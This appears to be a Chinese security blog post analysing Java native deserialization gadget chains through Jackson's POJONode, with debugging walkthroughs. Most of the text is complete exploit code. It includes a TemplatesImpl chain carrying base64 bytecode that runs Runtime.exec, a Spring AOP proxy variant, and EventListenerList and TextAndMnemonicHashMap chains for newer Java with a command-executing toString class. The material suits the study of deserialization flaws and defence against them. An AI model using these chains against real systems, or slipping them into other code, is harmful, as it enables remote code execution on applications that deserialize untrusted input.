Jackson原生反序列化

简单的反序列化demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.10.0</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.10.0</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.10.0</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.Base64;

public class Jackson1 {
public static Object rtobject() throws Exception {
// step 1 删除writeReplace方法
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
// step 2 将恶意类传入node
POJONode node = new POJONode(rtEvilObj());
// node.toString();
// step 3 包装入反序列化toString调用器
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);

return val;
}
public static Object rtEvilObj() throws Exception {
String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=";
byte[] code = Base64.getDecoder().decode(base64Code);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "666");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}

private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
System.out.println(Base64.getEncoder().encodeToString(Output.serialize(rtobject()).toByteArray()));
}
}

在 SpringBoot 环境稳定触发 getOutputProperties 的方法

由于POJONode 的toString会调用TemplatesImpl 的所有getter方法,有时候容易卡在某个getter,使得利用十分不稳定,于是使用代理来限制只访问到getOutputProperties一个getter。

1
2
3
4
5
6
7
8
9
public static Object makeTemplatesImplAopProxy() throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(rtEvilObj());
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}

advisedSupport 成员是一个 org.springframework.aop.framework.AdvisedSupport 类型的对象,可以设置代理目标为恶意TemplatesImpl对象,然后再传入InvocationHandler中。

当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。

所以这里Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);只能获取到TemplatesImplgetOutputProperties方法,正好。

完整pyload:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.30</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Jackson {
public static Object rtobject() throws Exception {
// step 1
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
// step 2
POJONode node = new POJONode(makeTemplatesImplAopProxy());
node.toString();
// step 3
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);

return val;
}
public static Object rtEvilObj() throws Exception {
String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=";
byte[] code = Base64.getDecoder().decode(base64Code);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "666");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}

public static Object makeTemplatesImplAopProxy() throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(rtEvilObj());
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
rtobject();
}
}

调试过程

先进BadAttributeValueExpException的readObject,在这里触发toString

这里调的时候同样要注意关闭valObj的呈现器,不然idea的toString直接弹计算机了

跟进toString,来到BaseJsonNode

InternalNodeMapper

ObjectWriter

如果设置了Closeable,会自动关闭Closeable资源,_writeCloseable其实只是对serialize进行了封装,但是这对我们今天的分析无益,但是看到又这个又不好直接跳过。接下来我们直接进入serialize

这里面的代码还是比较清晰的,我们没有像这样指定rootType, Jackson会进入最后一个else自动推导,而 typeSerializer用来解析类型,valueSerializer用来解析值倒是很好理解

1
2
ObjectWriter writer = mapper.writerFor(Number.class); 
// 指定 rootType,向jackson指定要序列化的是什么类型

然后和fastjson很像,通过类型选择对应serializer

然后用相应ser继续解析

这个ser知道POJONode中有定义serialize,转而使用value的serializer

然后开始解析内层的proxy对象,即_value,按照标准serialize方式处理

然后当然又要根据它来选择seializer,这里是选上了BeanSerializer,这个方法里面已经把我们对象的方法信息储存在了_props中

然后我们的proxy对象直接改名成bean了,后面肯定得调getter了,继续跟进

对象方法信息从_props到props,再遍历props取出每个可用的getter方法调用包装,然后调用serializeAsField处理

然后就在这里反射调用了getOutputProperties方法

高版本java使用EventListenerList触发toString

高版本BadAttributeValueExpException的代码也有变化,无法正常触发toString

所以在java17中我们常使用javax.swing.event.EventListenerList来调用toString

写一个小demo

ToString.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;


public class ToString {
public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(Class<?> clazz, Object obj, String name) throws Exception {
Field f = clazz.getDeclaredField(name);
f.setAccessible(true);
return f.get(obj);
}
public static Object rtobject() throws Exception {
UnsafeUtil.patchModule(ReflectUtil.class);
ToStringEvil evil = new ToStringEvil();
EventListenerList list = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(CompoundEdit.class ,undoManager, "edits");
vector.add(evil);
setFieldValue(list, "listenerList", new Object[] { Map.class, undoManager });
return list;
}
public static void main(String[] args) throws Exception {
System.out.println(Base64.getEncoder().encodeToString(Output.serialize(rtobject()).toByteArray()));
}

}

ToStringEvil.java 模拟的rce问题类

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;
import java.io.Serializable;

class ToStringEvil implements Serializable {
public String toString(){
try {
return Runtime.getRuntime().exec("calc").toString();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

这里通过反射改EventListenerList和UndoManager的值,肯定要设置一下,但是反序列化时是正常的

1
2
--add-opens java.desktop/javax.swing.event=ALL-UNNAMED 
--add-opens java.desktop/javax.swing.undo=ALL-UNNAMED

调试过程

忽略呈现器,进入EventListenerList#readObject,l为UndoManager对象,继承UndoableEditListener->EditListener接口

add里面合并字符串触发UndoManager的toString

调用父类(CompoundEdit)的toString,而limit和indexOfNextAdd是int型无法利用

edits是Object型,可以利用

再调用vector的toString

到父类AbstractCollection的toString,跟进sb.append,传入的e是我们的恶意toString类

到StringBuilder的append方法,调用了String.valueOf

调用toString

高版本java使用TextAndMnemonicHashMap触发toString

TextAndMnemonicHashMap的get方法会调key的toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;


public class JackTextAndMnemonicHashMap {
public static void setFieldValue(Class clazz, Object obj, String fieldName, Object value)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object rtobject() throws Exception {
ToStringEvil t = new ToStringEvil();

Class tex = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Constructor con=tex.getDeclaredConstructor(null);
con.setAccessible(true);
Map texmap1 =(Map) con.newInstance();
Map texmap2 =(Map) con.newInstance();
texmap1.put(t,993);
texmap2.put(t,7);

Hashtable hashtable = new Hashtable();
hashtable.put(texmap1,777);
hashtable.put(texmap2,999);

setFieldValue(Hashtable.class,hashtable, "loadFactor", 0.75f);

texmap1.put(t,null);
texmap2.put(t,null);
return hashtable;
}

public static void main(String[] args)throws Exception {
System.out.println(Base64.getEncoder().encodeToString(Output.serialize(rtobject()).toByteArray()));

}
}

调试过程

先进Hashtable的readObject,先校验loadFactor

然后读出key和value存入table

如下,index相同时就调用key.equls,index

index的长度是通过计算key的hashCode返回值决定

把key和value放进hashmap中计算,取出texmap的key和value计算

所以我们texmap最后放进了两个相同的key、value

但是Hashtable的put也会类似于readHashtable方法的,也会计算index而调用equals(都是放入元素嘛)

所以我们先在texmap中放入不同的value再put进Hashtable

在equals中调用TextAndMnemonicHashMap#get

这里的value如果为null就触发key的toString

所以我们放入的null